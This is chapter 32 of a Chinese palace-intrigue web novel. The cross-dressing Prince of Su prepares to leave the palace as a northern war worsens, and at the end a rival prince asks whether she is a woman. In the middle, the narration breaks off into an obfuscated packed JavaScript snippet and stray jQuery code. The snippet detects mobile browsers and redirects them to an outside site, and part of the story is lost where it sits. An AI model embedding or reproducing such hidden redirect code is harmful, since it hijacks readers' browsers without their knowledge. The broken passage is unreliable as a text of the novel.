32. 第 32 章

作品:《簪花诏

    昭毅上将军,韩朔月。


    这位女将十几年前立了功,但是早就在贡州安了家,傅璟只听过她单手拎着一把关刀守住了照日关的往事,对她本人没什么概念,只是听她的名字,总觉得是个严苛的老将军。


    “今天将军应该就从贡州到京城附近了。”明喻礼端了一杯茶给傅璟:“不过战事紧急,据说连城门都不进了,就在郊外的龙虎营里交接,然后即可拔营前往北疆。”


    “应该的,退到平孤城已经算是退无可退了。”傅璟接过来第一口就被烫的差点跳起来,茶杯滚烫,但是她指腹有一层厚厚的茧子,抓着那个冒热气的杯子没感觉出来:“这些天前朝都快打起来了,好些个之前被贬谪的将军都被抓回来重新重用,也不知道狼戾军到底能撑多久。”


    “平孤城能撑得住吗?”


    “以前是做军镇用的,应该可以。”傅璟心烦意乱地把杯子一放,站起来焦头烂额地原地转了两圈,生怕自己闲下来想东想西:“撑不住那就完了,后面全是平原,粮草众多,要是让北狄那群疯狗拿到了,京城也撑不了多久。”


    这话属实不太中听,但是明喻礼知道这是实话,大臣们再怎么美化现在的情况,也改变不了北狄打回来的事实。


    “我就是不知道这北狄哪里来的粮草。”傅璟满屋乱转一通以后又不转了,她重重坐回去,用手指揉着眉心:“铺子那边有回话吗?周将军有说消息吗?”


    自打三四个月以前,江忘悲重新给铺面带起来新的商队,表面做生意,实际上其中一两只干的就是送信的活,这招放在以前怕是行不通,但是这是现在——


    皇帝身体不行,好些事情都交给了检督司去处理,魏承明这段时间忙得脚不沾地,但也正是风头无两的时候,检督司最近还因此收敛了许多,上上下下都没空管劳什子的肃王了。


    “没呢王爷,看样子有消息应该要明天了。”


    这话还没说完,游廊上就刮起一阵风。明喻言走路带风,挂在屋檐下的鸟儿一见到他就叽叽喳喳地开始叫:“王爷。”


    傅璟还真没想到这家伙敢白天出宫,她不可置信地站起来,上下好好打量了一下自己这个侍卫:“你刚回来?白天出宫?”


    “检督司的人都忙着干别的,这都好几天没管过我们了。”


    明喻言一边说,一边从袖子里摸索着掏出来一截竹管,上面用蜡油封着:“王爷,北疆新来的信,江大人还让我带了两句话来。”


    “小叔让你说什么?”傅璟接过来一看,蜡油封的很厚实。现在到底不是夜里,屋子里没点火烛。明喻礼见状,很有眼力见地去拿火折子了。屋子里一时就安静下来,只剩下另外两个人。


    傅璟索性先把竹筒一放,见明喻言不说话,她又问了一次:“小叔让你说什么?”


    “.......江大人说,让您收拾东西,过两天准备出宫。”


    这次轮到傅璟不说话了,她半晌才梦游似地又问了一次:“......你再说一次,我好像没听清。”


    “江大人让您收拾东西,过两天就要出宫了。”


    “不回来了?”


    “不回来了。”


    当天夜里,明喻礼和金桃银柳已经开始收拾东西,能拿的拿走,不方便带走的就烧了。屋子里热气蒸腾,硬是给几个人都点出来一头汗。


    傅璟坐在一边,她一边慢慢撕着手里的纸张,一边回忆今天刚拿到手的信件:周忘翀说这些年狼戾军被陆续拆了一半主力出去,退守平孤城的西防卫军早就不是当年那一批,现如今三天之内连陷七城,也是被北狄突袭的结果。


    当年傅炆设下的前哨也废了,这么些天过去,始终还是没能摸清楚北狄这次突袭带的家底,不过来势汹汹,看样子是很有底气。


    傅璟脑子还挺乱,一时间四五个念头都在打架:小叔为什么叫我现在收拾东西?北狄到底怎么回事?韩将军能带好狼戾军吗?柳家现在怎么样了?


    她想着想着,手上的动作就慢了下来,到最后成了直勾勾地盯着火光发愣,似乎又回到了那一年肃王府后院的大火里。


    “王爷。”打断她思绪的是观正,她最近总是只干些杂活,教着手底下的几个小姑娘,如今真是面色大好,到底是有了个人样:“二殿下来了。”


    傅璟把手里沾着汗的纸张撕下来,分了神去定定地看着她,对面还不明所以,只是对上目光以后眨眨眼睛,压根没明白为什么接收到这种沉甸甸的目光。


    “不怕了?”


    “什么?”观正似乎是做杂活把脑子做锈了,一时间没转过弯来:“奴婢需要怕什么?”


    傅璟释然地笑起来,她站起身,当着观正的面抻了个懒腰,晃晃悠悠地就往外走。她对自己把观正养的这么好十分满意,连昔日最怕的前主子都没反应了:“没你的事,休息去吧,东西收拾好了?”


    “......奴婢也跟着走?”观正懵了一瞬,不可置信的扭头看着那边物理意义上的“热火朝天”三人组。她是宫里登记在册的人,按道理来说就是要走,也是只有明家两兄妹能跟着走。


    她面前的王爷又晃晃悠悠地转过来,两只脚看着都没有一只稳稳当当地踩在地上,硬是把一身宫袍穿出来一股子地痞流氓的味道,那眼睛眨巴眨巴,跃动的火光映照在一双菩萨目里。


    观正很少有机会直视贵人,或者说她本就不应该直视贵人。


    她是一个时辰前才知道肃王可能要出宫,观正听到消息以后并没有多失望——到底肃王不对她负责,当年接她过来躲一躲已经是万幸,让她留在静思殿怕是早就死了。人生苦短,做奴婢的更是身如浮萍,能苟活这么一点日子真是太好了。


    她对自己说,真是太好了,观正。


    可现如今观正看着这双眼睛,肃王比她高出来大半个头,她不得不仰头去看着那双眼睛。这其实是大不敬,不过肃王对此总是一副“我不在意,你们爱看不看”的态度,观正也是第一次这么长久地盯着贵人的眼睛。


    里面有火光,有书页,有很多人,也有一个小小的她。


    那双眼睛的主人没说话,只是微微笑着,那卧蚕鼓起来,整个眼睛弯弯地看着她。


    小小的观正在火光里跳跃,翻转。观正微微发颤,她总觉得很冷,但是有火舌在舔舐她的衣角,她慢慢地想着:“宫装会烂掉的。”


    宫装会烂掉的。


    “你说呢,观正?”傅璟直起腰来,垂头继续盯着她:“本王说了要带你走的,君子一言驷马难追,我还能把你送回静思殿里,看着你被打死不成?”


    “可是,贵妃那边......“观正还想说什么,她多想说自己知道太多,贵妃会把自己打死的,柳家不会放过她的。


    傅璟只是盯着她看,那边的明喻礼好像又拆了一本书丢进火堆里,那双眼里的火舌又往上窜了窜。


    观正,烈火会烧掉一切


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17040627|191627||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的。


    观正往后退了一步,也是什么话都没说,恭恭敬敬地跪下给傅璟磕了个头。而那人见她一跪,满意地笑了一声,抬腿就往外走了。


    外面的陈客明已经等这尊大佛等的十分不耐烦了,这么多年来也是第一次有人敢不让他进去等着:“肃王还真是大忙人啊。”


    “殿下谬赞。”傅璟在装傻这一块的造诣简直是首屈一指,睁着眼睛就开始说瞎话,对那点讽刺左耳进右耳出:“殿下将来得了陛下重用,也会忙起来的。”


    这两个人都太了解彼此了,无论是把对方当敌人往死里揍,还是儿时你一拳我一口的幼稚报复。他们都对彼此话里那点意图太明白了,甚至于看穿对方就像是知道自己今天的底裤的颜色。傅璟这两句话无非就是想说他这辈子也不可能被陛下重用了,好让陈客明又跟她生气。


    陈客明吃一堑吃一堑又吃一堑,他在傅璟身上吃了太多亏,好在这些年记性倒是长了一点。堂堂二皇子硬是强压着火气:“你.......算了,你忙什么呢?隔着老远就听见你这里乒乒乓乓。”


    “那真是无可奉告了。”


    “......”陈客明怒火都快烧到眉毛了,他硬是压着性子又问了一句:“你是要出宫了吗,但是旨意不是还没下来吗?”


    傅璟十分挑衅地对着他就是咧嘴一笑,啥话也不说。他们现在就在亭子里站着,她施施然地往后一靠,半张脸都叫月光罩了去。


    陈客明知道这家伙生得好,外面都说肃王貌若好女,他之前总觉得肃王只是欠揍,现在被月光兜了一张薄纱,朦胧之下竟然也看呆了。


    傅璟挑着半边眉毛,对着看傻了的家伙哼笑了一下:“殿下倒是闲散,只不过在下还有事,实在是没空陪殿下胡闹了,殿下请回吧。”


    陈客明把目光收回来,眼神往下移了移,直勾勾地盯着她的喉咙。傅璟常年穿着高领,被这人这么一看弄得头皮发麻,总觉得脖子里痒痒的,像是下一秒头就要掉了。她实在是忘不掉这位拿着匕首要杀她的场景:“......殿下这是要干什么?”


    陈客明咽了一下口水,似乎是很紧张。


    傅璟心里警报大作,视线在两个人之间扫了又扫,微微抬起一条腿,往后退了半步。现在这个亭子靠近水边,她打算一有不对就跳下去,面子和小命她一向知道要哪个。


    陈客明往前走了一步,他伸出手,似乎也在犹豫要不要说。


    傅璟退无可退,只能微微侧过身准备跳湖跑路,两个人蓄势待发,一个比一个紧张。


    “殿下,您这是到底要和微臣说什么?”傅璟笑容都快绷不住了,她咬牙切齿地挤出来几个字,生怕陈客明从背后“夸查”掏出来一把匕首再来一次:“您倒是说话啊......”


    陈客明微微一动。


    傅璟整个人都猛地一下子蹿到了栏杆上,好在千钧一发之际,她险而又险地抱住了柱子,这才避免了抢跑变成落汤鸡:“......殿下,您倒是说话啊!”


    陈客明欸了两声,也被她这个阵仗吓了一跳,又往前走了两步。傅璟这回真是退无可退,抱着柱子,转头就打算把明喻礼她们喊出来,又被陈客明打断施法:“不是,不是的!我真有事想问你!”


    “......什么事?”


    “......”陈客明把自己脸都憋得通红,憋了好半天,石破天惊地来了一句——


    “你是女的吗?”